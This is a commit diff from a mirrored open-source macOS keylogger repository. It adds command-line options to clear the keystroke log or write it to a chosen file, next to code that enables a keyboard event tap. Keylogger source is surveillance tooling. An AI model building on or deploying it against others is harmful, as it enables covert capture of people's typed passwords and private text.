1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Add support for command line args.

This commit is contained in:
Casey Scarborough 2013-09-16 21:21:27 -04:00
parent 025d2d9c6b
commit e218979983
2 changed files with 10 additions and 0 deletions

View File

@ -19,6 +19,15 @@ int main(int argc, const char *argv[]) {
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
// Clear the logfile if clear argument used or log to specific file if given.
if(argc == 2) {
if(strcmp(argv[1], "clear") == 0) {
fopen(logfileLocation, "w");
} else {
logfileLocation = argv[1];
}
}
// Get the current time and open the logfile.
time_t result = time(NULL);
logfile = fopen(logfileLocation, "a");

View File

@ -3,6 +3,7 @@
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <ApplicationServices/ApplicationServices.h>
#include <Carbon/Carbon.h>
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html